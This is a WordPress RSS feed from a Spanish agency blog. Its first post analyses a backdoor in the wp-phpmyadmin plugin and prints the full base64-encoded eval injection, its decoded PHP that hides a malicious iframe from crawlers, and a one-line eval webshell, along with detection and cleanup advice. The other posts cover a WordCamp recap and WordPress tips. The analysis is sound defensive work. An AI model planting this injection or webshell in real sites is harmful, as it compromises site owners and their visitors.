<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>onestic &#187; Wordpress</title>
	<atom:link href="http://onestic.com/category/blog/wordpress-blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://onestic.com</link>
	<description>blog de onestic</description>
	<lastBuildDate>Thu, 02 Feb 2012 09:40:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>Puerta trasera en el plugin de wp-phpmyadmin</title>
		<link>http://onestic.com/puerta-trasera-en-el-plugin-de-wp-phpmyadmin/</link>
		<comments>http://onestic.com/puerta-trasera-en-el-plugin-de-wp-phpmyadmin/#comments</comments>
		<pubDate>Mon, 22 Aug 2011 10:22:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=1061</guid>
		<description><![CDATA[En los últimos meses hemos sido testigos de un ataque similar sobre algunos blogs a los que tenemos acceso. WordPress hackeado, con un iframe al comienzo de las páginas y que los buscadores no detectaban como página peligrosa. Sólo algunos antivirus de los usuarios se daban cuenta del ataque. Y el culpable (o donde residía [...]]]></description>
			<content:encoded><![CDATA[En los últimos meses hemos sido testigos de un <strong>ataque </strong>similar sobre  algunos blogs a los que tenemos acceso. <strong>WordPress hackeado</strong>, con un  <strong>iframe al comienzo de las páginas</strong> y que los buscadores no detectaban  como página peligrosa. Sólo algunos antivirus de los usuarios se daban  cuenta del ataque. Y el culpable (o donde residía la backdoor) era el plugin de wp-phpmyadmin.<br/><br/>

El plugin de <strong>wp-phpmyadmin</strong> tiene una utilidad importante cuando no tienes acceso de otro modo a la base de datos de tu instalación de WordPress. Pero el precio que se puede pagar por usarlo, después de haber comprobado la <strong>vulnerabilidad</strong> que trae consigo, es bastante alto.<br/><br/>

El plugin no se actualiza desde el 2007 (con wp 1.5), no se puede encontrar en el repositorio oficial de plugins de WordPress (<a href="http://wordpress.org/extend/plugins/" target="_blank">http://wordpress.org/extend/plugins/</a>), y lo más importante: se había conseguido introducir un fichero dentre el resto de ficheros del plugin que abría una puerta trasera a nuestro sistema.<br/><br/>

Pero vamos por partes y a explicar cómo funciona este <strong>hack de WordPress</strong> con detalle:<br/><br/>

El ataque consistía en introducir en los ficheros index.php una línea justo detrás del primer &lt;?php . Aquí tenemos un ejemplo:<br/><br/>

<pre class="brush: php; title: ;">
&lt;?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly8yZ3V2a2w1NW9mLmNvLnR2Lz9nbz0xIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2lmcmFtZT4nOw0KfQ==');
</pre>

Este código codificado, daba el siguiente fragmento de php tras decodificarlo, fragmento que acababa pintando un <strong>iframe antes de la etiqueta &lt;?html&gt;?</strong> en los blog al pasarlo por la función eval():<br/><br/>

<pre class="brush: php; title: ;">
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
 array(&quot;216.239.32.0&quot;,&quot;216.239.63.255&quot;),
 array(&quot;64.68.80.0&quot;  ,&quot;64.68.87.255&quot;  ),
 array(&quot;66.102.0.0&quot;,  &quot;66.102.15.255&quot;),
 array(&quot;64.233.160.0&quot;,&quot;64.233.191.255&quot;),
 array(&quot;66.249.64.0&quot;, &quot;66.249.95.255&quot;),
 array(&quot;72.14.192.0&quot;, &quot;72.14.255.255&quot;),
 array(&quot;209.85.128.0&quot;,&quot;209.85.255.255&quot;),
 array(&quot;198.108.100.192&quot;,&quot;198.108.100.207&quot;),
 array(&quot;173.194.0.0&quot;,&quot;173.194.255.255&quot;),
 array(&quot;216.33.229.144&quot;,&quot;216.33.229.151&quot;),
 array(&quot;216.33.229.160&quot;,&quot;216.33.229.167&quot;),
 array(&quot;209.185.108.128&quot;,&quot;209.185.108.255&quot;),
 array(&quot;216.109.75.80&quot;,&quot;216.109.75.95&quot;),
 array(&quot;64.68.88.0&quot;,&quot;64.68.95.255&quot;),
 array(&quot;64.68.64.64&quot;,&quot;64.68.64.127&quot;),
 array(&quot;64.41.221.192&quot;,&quot;64.41.221.207&quot;),
 array(&quot;74.125.0.0&quot;,&quot;74.125.255.255&quot;),
 array(&quot;65.52.0.0&quot;,&quot;65.55.255.255&quot;),
 array(&quot;74.6.0.0&quot;,&quot;74.6.255.255&quot;),
 array(&quot;67.195.0.0&quot;,&quot;67.195.255.255&quot;),
 array(&quot;72.30.0.0&quot;,&quot;72.30.255.255&quot;),
 array(&quot;38.0.0.0&quot;,&quot;38.255.255.255&quot;)
 );
$my_ip2long = sprintf(&quot;%u&quot;,ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
 $first_d=sprintf(&quot;%u&quot;,ip2long($IPs[0])); $second_d=sprintf(&quot;%u&quot;,ip2long($IPs[1]));
 if ($my_ip2long &gt;= $first_d &amp;&amp; $my_ip2long &lt;= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
 if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '&lt;iframe src=&quot;http://2guvkl55of.co.tv/?go=1&quot; width=&quot;1&quot; height=&quot;1&quot;&gt;&lt;/iframe&gt;';
}
</pre>

Este iframe se intentaba ocultar a los robots de los buscadores y de rastreadores importantes para evitar que saltasen las alarmas de estos, y pusiesen en aviso al dueño del blog mediante alarmas al correo electrónico, bloqueos de su página desde la página de resultados de búsqueda, etc. Así podía permanecer el mayor tiempo posible estando oculto.<br/><br/>

El contenido del iframe cargaba una direccion de un servidor (todos los distintos dominios que hemos podido comprobar estaban en Rumanía), donde se podía pintar cualquier cosa, seguramente<strong> troyanos javascript</strong> que comprometiesen la seguridad del usuario que visitase la web.<br/><br/>

<br/><br/><h3>Cómo saber si tengo esta puerta trasera en mi sistema, y como solucionarlo (detección, solución y prevención):</h3><br/>

- Comprobar si tenemos el plugin de <strong>wp-phpmyadmin</strong>, y buscar el fichero <strong>phpmyadmin/upgrade.php</strong> dentro del mismo. Renombrar la extensión o eliminar este fichero, sobre todo si tiene dentro unas instrucciones parecida a estas:<br/><br/>

<pre class="brush: php; title: ;">
&lt;?php if(isset($_REQUEST[&quot;asc&quot;]))eval(stripslashes($_REQUEST[&quot;asc&quot;])); ?&gt;
</pre>

- Buscar en el resto de ficheros de wp-content la cadena &#8216;<strong>eval(stripslashes</strong>&#8216; (por ejemplo), y comprobar en los resultados si alguno se parece a la línea anterior.<br/><br/>

- Mantener una<strong> política estricta de permisos</strong> sobre los ficheros de la instalación de WordPress. Si los ficheros index.php hubiesen estado correctamente configurados en cuanto a permisos, tal y como aconsejan en <a href="http://codex.wordpress.org/Hardening_WordPress" target="_blank">http://codex.wordpress.org/Hardening_WordPress</a> la infección se hubiese podido evitar.<br/><br/>

- Por supuesto, mantener nuestros <strong>plugins actualizados</strong>, junto con la <strong>última versión de WordPress siempre instalada</strong>. Y si alguno de los plugins deja de tener soporte o no se continúa su desarrollo, mejor optar por descartarlo y comenzar a buscar un sustituto del mismo.<br/><br/>

Más info:<br/><br/>

<a href="http://blog.sucuri.net/2011/06/wp-phpmyadmin-wordpress-plugin-delete-it-now.html" target="_blank">http://blog.sucuri.net/2011/06/wp-phpmyadmin-wordpress-plugin-delete-it-now.html</a><br/><br/>

<a href="http://www.wpsecuritylock.com/wp-phpmyadmin-plugin-hacked-backdoor-vulnerability/" target="_blank">http://www.wpsecuritylock.com/wp-phpmyadmin-plugin-hacked-backdoor-vulnerability/</a><br/><br/>

Especial cuidado también con los plugins wptouch, addthis y w3-total-cache:<br/><br/>
<a href="http://wpmu.org/wordpress-security-exploit-found-upgrade-wptouch-addthis-and-w3-total-cache/" target="_blank">http://wpmu.org/wordpress-security-exploit-found-upgrade-wptouch-addthis-and-w3-total-cache/</a><br/><br/>]]></content:encoded>
			<wfw:commentRss>http://onestic.com/puerta-trasera-en-el-plugin-de-wp-phpmyadmin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resumen de la Wordcamp Spain 2010</title>
		<link>http://onestic.com/resumen-de-la-wordcamp-spain-2010/</link>
		<comments>http://onestic.com/resumen-de-la-wordcamp-spain-2010/#comments</comments>
		<pubDate>Mon, 13 Dec 2010 10:19:00 +0000</pubDate>
		<dc:creator>Sergio Nieto</dc:creator>
				<category><![CDATA[Onestic]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Automattic]]></category>
		<category><![CDATA[Wordcamp Spain]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=954</guid>
		<description><![CDATA[La verdad es que como primera conclusión podemos decir que para nosotros, en la Wordcamp Spain 2010 se ha conseguido aumentar el nivel general del evento respecto al año pasado. Gracias a que hemos podido disfrutar de más gente de Automattic, como José Fontainhas que es ya un clásico, Karim Osman, Isaac Keyet (cofundador de [...]]]></description>
			<content:encoded><![CDATA[
<p>La verdad es que como primera conclusión podemos decir que para nosotros, en la <strong>Wordcamp Spain 2010 </strong>se ha conseguido aumentar el nivel general del evento respecto al año pasado. Gracias a que hemos podido disfrutar de más gente de <a title="Automattic" href="http://automattic.com/" target="_blank">Automattic</a>, como <a title="Ze Fontainhas from Automattic" href="http://ze.fontainhas.com/" target="_blank">José Fontainhas</a> que es ya un clásico, <a title="Karim Osman from Automattic" href="http://kar.im/" target="_blank">Karim Osman</a>, <a title="Isaac Keyet from Automattic" href="http://www.isaackeyet.com/blog/" target="_blank">Isaac Keyet</a> (cofundador de IntenseDebate y ahora en plantilla), y también de la visita de <a title="Jeffrey Pearce from Woothemes" href="http://www.jeffikus.com/" target="_blank">Jeffrey Pearce</a> como representante de <a title="Wordpress themes" href="http://woothemes.com" target="_blank">Woothemes.com</a>.</p>
<p><a title="foto-de-grupo-de-la-Wordcamp-Spain-2010" href="http://onestic.com/wp-content/uploads/2010/12/foto-de-grupo-de-la-Wordcamp-Spain-2010-little.jpg" target="_blank"><img class="alignnone size-large wp-image-960" title="foto-de-grupo-de-la-Wordcamp-Spain-2010" src="http://onestic.com/wp-content/uploads/2010/12/foto-de-grupo-de-la-Wordcamp-Spain-2010-little-611x226.jpg" alt="foto-de-grupo-de-la-Wordcamp-Spain-2010" width="611" height="226" /></a></p>
<p>Las ponencias fueron bastante interesantes para todo tipo de perfiles. Bien es cierto que para los usuarios de WordPress algunas fueron demasiado técnicas, y que para los desarrolladores avanzados otras charlas profundizaron poco o carecían de interés. Pero a pesar de que cualquier ponencia tiene cierto grado de autopromoción, ninguna fue un publireportaje.</p>
<p>En la primera, <strong><a title="Blog personal de Fernando Tellado" href="http://fernandotellado.com/" target="_blank">Fernando Tellado</a></strong> nos siguió descubriendo plugins y usos de WordPress curiosos. Fernando siempre está descubriendo a la comunidad hispana de WordPress utilidades y plugins que mucha gente no encontraría porque ni siquiera se plantea buscarlos. Pero él está atento, y desde ayudawordpress.com siempre tiene algo interesante que enseñar. Podéis encontrar <a title="Fernando Tellado en la Wordcamp Spain 2010" href="http://ayudawordpress.com/" target="_blank">la ponencia de Fernando Tellado aquí</a>.</p>
<p>La segunda fue para <strong>José Fontainhas</strong>, que expuso lo nuevo que viene con WordPress 3.1. Rápida y concisa. Según nos comentó lo mejor para <a title="Novedades de WordPress 3.1" href="http://codex.wordpress.org/Version_3.1" target="_blank">conocer las novedades  de WP3.1 es visitar la página oficial</a>.</p>
<p><strong><a title="Blog de Rafael Poveda" href="http://raven.es/" target="_blank">Rafael Poveda</a></strong>, de <a title="Mecus, desarrollo en WordPress" href="http://mecus.es/" target="_blank">Mecus</a>, nos explicó los entresijos de la creación rápida de temas con la nueva versión de WordPress 3.x. Temas elásticos, frameworks themes y temas hijos. Sobre todo, la idea de no reinventar la rueda creando temas desde cero sin pensar en que podemos aprovechar soluciones existentes mediante el uso de temas hijos, o temas específicos hipercustomizables.  <span style="text-decoration: line-through;">¡Sólo falta que cuelguen la presentación! <img src='http://onestic.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  </span><a title="Ponencia de Rafael Poveda en la Wordcamp" href="http://www.slideshare.net/bi0xid/rethinking-themes-mecus" target="_blank">Puedes encontrar su presentación aquí</a>.</p>
<p>Después fue el turno para <a title="Web de El señor Muñoz" href="http://www.senormunoz.es/" target="_blank">el SeñorMuñoz</a>, <strong>Fernando Muñoz</strong>, consultor SEO de profesión. Amplió la que nos ofreció el año pasado con unas nociones de SEO básicas pero imprescindibles a la hora de implementar temas de WordPress. Y para rematar nos mostró un amplio abanico de plugins para potenciar el aspecto SEO de un WordPress. <a title="Fernando Muñoz en la Wordcamp Spain 2010" href="http://www.senormunoz.es/SEO-MARBELLA/wordcamp-seo-plugins" target="_blank">Su presentación y su resumen la podéis encontrar en su web</a>.</p>
<p>Tras la comida tuvimos el gusto de escuchar a<strong> <a title="Blog personal de Luis Rull" href="http://luisrull.es/" target="_blank">Luis Rull</a></strong>, de <a title="Mecus, desarrollo en WordPress" href="http://mecus.es/" target="_blank">Mecus</a>, hablando de los distintos usos que se le puede dar a WordPress más allá de la creación de blogs. Y qué sorpresa la nuestra cuando presentó el proyecto de <a title="Chicisimo.com, tu comunidad sobre moda" href="http://chicisimo.com" target="_blank"><strong>Chicisimo.com</strong></a> que con tanta ilusión estamos llevando hacia delante junto con sus creadores, Gabriel Aldamiz y su mujer María Arenaza. No nos cansaremos de agradecer a Luis que pusiese a chicisimo.com como ejemplo de uso de extremo de WordPress para crear una comunidad alrededor de un nexo común para sus usuarios, como es la moda. Además nos enseño otros sites que usan WordPress, aunque no lo parezca. Su presentación, en <a title="Blog de Luis Rull" href="http://luisrull.es/2010/12/wordcamp-espana-2010-wordpress-como-cms.html" target="_blank">su blog personal</a>.</p>
<p><strong>Isaac Keyet</strong>, cofundador de IntenseDebate y ahora Coordinador del equipo de trabajo de desarrollos para dispositivos móviles de Automattic, nos introdujo a los temas específicos para este tipo de dispositivos y las herramientas principales que tenemos a nuestra disposición para usar WordPress en ellos.</p>
<p>Luego <strong>Karim Osman</strong>, también de Automattic, nos dio algunas pinceladas de los entresijos de una gran empresa como Automattic, de su historia y de hacia donde navegan en la actualidad. Siempre interesante que alguien tan simpático como Karim venga y te cuente como funciona una empresa que se ha hecho tan grande e importante en tan poco tiempo. Para tomar nota. <a title="Karim Osman en la Wordcamp Spain 2010" href="http://kar.im/2010/12/11/wordcamp-spain-presentation/" target="_blank">Su presentación la podéis encontrar en su web</a>.</p>
<p><a rel="attachment wp-att-961" href="http://onestic.com/resumen-de-la-wordcamp-spain-2010/onestic-en-la-wordcamp-spain-2010-junto-con-blogestudio-y-el-senor-munoz/"><img class="size-full wp-image-961 alignright" title="Onestic-en-la-Wordcamp-Spain-2010-junto-con-Blogestudio-y-el-Señor-Muñoz" src="http://onestic.com/wp-content/uploads/2010/12/Onestic-en-la-Wordcamp-Spain-2010-junto-con-Blogestudio-y-el-Señor-Muñoz.jpg" alt="Onestic-en-la-Wordcamp-Spain-2010-junto-con-Blogestudio-y-el-Señor-Muñoz" width="313" height="98" /></a>Y por fin <a title="Blog de Fernando Serer" href="http://www.fernandoserer.com/" target="_blank"><strong>Fernando Serer</strong></a>, con su tan aplaudida ponencia (sobre todo en Twitter) sobre WordPress y el comercio electrónico. Temas y plugins para vender con WordPress. Que está claro que no es la misión de la plataforma en convertirse en un framework de tiendas online, pero para desarrollos rápidos, aprovechando quizás un site con Worpdress con cantidad de visitas, para crear tiendas con multitud de landing pages, es una cuestión a tener en cuenta. Y más después de tener en las manos el profundo análisis que expuso Fernando Serer y que realizaron en Blogestudio. Muy muy interesante. Superrecomendable <a title="Fernando Serer en la Wordcamp Spain 2010" href="http://www.slideshare.net/fserer/wordpress-como-plataforma-de-comercio-electrnico?from=ss_embed" target="_blank">ver la presentación en slideshare</a>.</p>
<p><strong>Jeffrey Pearce</strong> nos mostró su gran plugin WooThumbBlog, que forma parte de muchos temas que tienen a la venta en Woothemes. Jeffrey es un programador excepcional, y un tío muy simpático. Gracias a él nos vinimos con una camiseta de Woothemes, con un posible acuerdo para colaborar con ellos creando nuevos temas, y con un descuento del 30% en su plataforma <img src='http://onestic.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a title="Jeffrey Pearce in Wordcamp Spain" href="http://www.jeffikus.com/2010/12/11/wootumblog-post-formats-express-app-wordcamp-spain-2010-slides/" target="_blank">Su presentación, en su web</a>.</p>
<p>Y por último <strong><a title="Web de Rocío Valdivia" href="http://dorsvenabili.com/" target="_blank">Rocío Valdivia</a></strong> nos enseñó como crear plugins multilenguaje desde cero y de una forma muy sencilla. Seguro que mucha gente perdió el miedo a crear su propio plugins, y alguno que incluía nueva funcionalidad en el tema ahora usará sus propios plugins a partir de ahora. Faltó tiempo para hacer una demostración en vivo, pero fue <a title="Ponencia de Rocía Valdivia en la WordCamp Spain 2010" href="http://mecus.es/wordcamp-spain-2010-taller-de-plugins/" target="_blank">una ponencia muy interesante que podéis encontrar aquí</a>.</p>
<p>&nbsp;</p>

<p>Para finalizar, queremos darle nuestro agradecimiento a la gente de <a title="Packet Loss" href="http://www.packet-loss.org/index_es.html" target="_blank">Packet Loss</a> (<a title="Raúl Illana" href="http://raulillana.com/" target="_blank">Raúl Illana</a>, Ismael Charif, <a title="Ricard Torres" href="http://php.quicoto.com" target="_blank">Ricard Torres</a>, etc etc) por hacer posible la Wordcamp en España y por el éxito de organización de este año. Y por supuesto a <a title="Cavalleto" href="http://soyplastic.net/" target="_blank">Cavalleto</a> (su <a title="Flickr de Cavalleto" href="http://www.flickr.com/photos/cavalleto/" target="_blank">flickr</a>) por ser testigo con su cámara y por permitirnos usar las fotos del evento.</p>
]]></content:encoded>
			<wfw:commentRss>http://onestic.com/resumen-de-la-wordcamp-spain-2010/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress, imagen no encontrada, error 404 y el bucle infinito</title>
		<link>http://onestic.com/wordpress-imagen-no-encontrada-error-404-y-el-bucle-infinito/</link>
		<comments>http://onestic.com/wordpress-imagen-no-encontrada-error-404-y-el-bucle-infinito/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 15:52:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[404]]></category>
		<category><![CDATA[bucle infinito]]></category>
		<category><![CDATA[not found error]]></category>
		<category><![CDATA[rewrite rules]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=758</guid>
		<description><![CDATA[La personalización de las páginas de error en WordPress es cómoda y sencilla. La página de error más socorrida en las plantillas de WordPress es la del error 404 o &#8220;not found&#8221;. Esta página se muestra cuando se ha intentado acceder a una url para la que no existe contenido. Los más astutos aprovechan esta [...]]]></description>
			<content:encoded><![CDATA[La personalización de las <strong>páginas de error en WordPress</strong> es cómoda y sencilla. La página de error más socorrida en las plantillas de WordPress es la del error <strong>404 </strong>o &#8220;not found&#8221;. Esta página se muestra cuando se ha intentado acceder a una url para la que no existe contenido. Los más astutos aprovechan esta página para ofrecer al usuario <strong>enlaces a contenido relacionado</strong> con el que ha intentado encontrar para evitar que el usuario abandone la web. Otros simplemente muestran un texto indicando que no se ha encontrado el contenido buscado, dentro de una página que mantiene el estilo del resto de la web.

Pero pensemos que este error se dará para cualquier url errónea en el navegador, tanto si es una página como si es una imágen o un documento. Ahora pensemos que alguna de las <strong>imágenes </strong>de nuestro <strong>tema </strong>no se referencia bien desde la <strong>plantilla de WordPress</strong> o simplemente no exista en el servidor, dando un error <strong>404</strong>. Siempre que se muestre alguna página de nuestra plantilla que tenga esta imagen, se generará un error <strong>404 </strong>y se renderizará en el servidor la página de <strong>error 404 de WordPress</strong>. Esto hace que <strong>aumente nuestra carga de servidor</strong> innecesariamente y también <strong>el tiempo de carga de la página</strong>, ya que en lugar de mandarse un mensaje escueto desde el servidor con el error <strong>404 </strong>para la petición de esta imagen, se está mandando una página entera con todos los estilos. Esto se puede ver más claro con firebug:

<img class="alignleft size-large wp-image-760" title="captura-404" src="http://onestic.com/wp-content/uploads/2010/01/captura-4041-611x198.jpg" alt="" width="611" height="198" />

Sólo<strong> por minimizar la carga del servidor</strong> ya merece la pena hacer algo a este respecto, pero ahora imaginemos otro escenario en el que esta imagen que falta está referenciada en el footer, el sidebar o el header, y siempre que pidamos una página de wordpress se hará una petición a esta imagen inexistente (incluida la de 404). Entonces nos podemos encontrar con un <strong>bucle infinito</strong>: Se accede a una página: Se pide la imagen-> 404: Se vuelve a pedir la imagen -> 404: Se vuelve a pedir la imagen&#8230; Y así hasta que se sature el servidor web si ninguna opción de seguridad lo evita antes.

Para <strong>solucionar este problema</strong> tan sólo debemos <strong>añadir un par de líneas a nuestro fichero .htaccess</strong> Redordad que las directrices del .htaccess se procesan en orden, por lo que conviene ponerla antes de las demás <strong>Rewrite Rules</strong>. Con estas líneas indicaremos que si se encuentra ante una <strong>petición http</strong> a una imagen que no exista, devuelva en su lugar cualquier otro elemento que nosotros le indiquemos y que sí esté disponible. Podemos indicar más tipos de fichero si lo consideramos oportuno:

[CODE]RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_URI} \.(gif|jpg|jpeg|png|bmp)$
RewriteRule .* wp-content/themes/mi_tema/404.html [L][/CODE]

Entre las diferentes opciones que tenemos a nuestra disposición, podemos <strong>devolver una imagen de 1&#215;1 píxeles</strong>, aumentando la velocidad de carga de la página, o podemos <strong>incluir una imagen por defecto</strong> con el logo de la página (con cuidado, porque esta opción puede descuadrarnos el tema). También podemos devolver una <strong>página de error más básica </strong>que la de la plantilla, y<strong> en html estático</strong>.

A pesar de que nos hemos puesto en el peor caso, esto no es lo habitual. Este tipo de errores de imágenes no encontradas se observa con más frecuencia en la redacción de posts que en la implementación del tema. Pero una migración de servidor, una limpieza de los ficheros subidos a WordPress o un cambio de directorio pueden ocasionar que estos errores aparezcan de la noche a la mañana.]]></content:encoded>
			<wfw:commentRss>http://onestic.com/wordpress-imagen-no-encontrada-error-404-y-el-bucle-infinito/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mostrar los thumbnails de los posts en WordPress 2.9</title>
		<link>http://onestic.com/mostrar-los-thumbnails-de-los-posts-en-wordpress-2-9/</link>
		<comments>http://onestic.com/mostrar-los-thumbnails-de-los-posts-en-wordpress-2-9/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 17:03:33 +0000</pubDate>
		<dc:creator>Sergio Nieto</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[miniatura]]></category>
		<category><![CDATA[tema wordpress]]></category>
		<category><![CDATA[thumbnail]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress 2.9]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=724</guid>
		<description><![CDATA[Una de las nuevas características incluidas en la nueva versión 2.9 de WordPress es la de obtener un thumbnail o preview de una imagen para cada post sin necesidad de usar plugins adicionales. De esta forma podemos ponerle una &#8216;carátula&#8217; que sea una imagen a cada post que escribamos en WordPress de una forma rápida [...]]]></description>
			<content:encoded><![CDATA[Una de las nuevas características incluidas en la nueva versión 2.9 de WordPress es la de obtener un thumbnail o preview de una imagen para cada post sin necesidad de usar plugins adicionales. De esta forma podemos ponerle una &#8216;carátula&#8217; que sea una imagen a cada post que escribamos en WordPress de una forma rápida y sencilla.

Lo primero que debemos tener en cuenta es que la nueva funcionalidad de Magento no extrae automáticamente las imágenes de los posts, si no que al editar la entrada hay que indicar cual es la imagen específica que va a tener como &#8216;Miniatura de entrada&#8217;.

1.- Habilitar esta nueva funcionalidad

Para habilitar estas funciones debemos incluir en el fichero functions.php unas líneas de código. Además podemos especificar tamaños adicionales a los que vienen por defecto en WordPress y que se especifican en el administrador (thumbnail, medium y large). Pongo un código de ejemplo, que además está preparado para hacer nuestro tema compatible con versiones anteriores de WordPress:

<pre class="brush: php; title: ;">
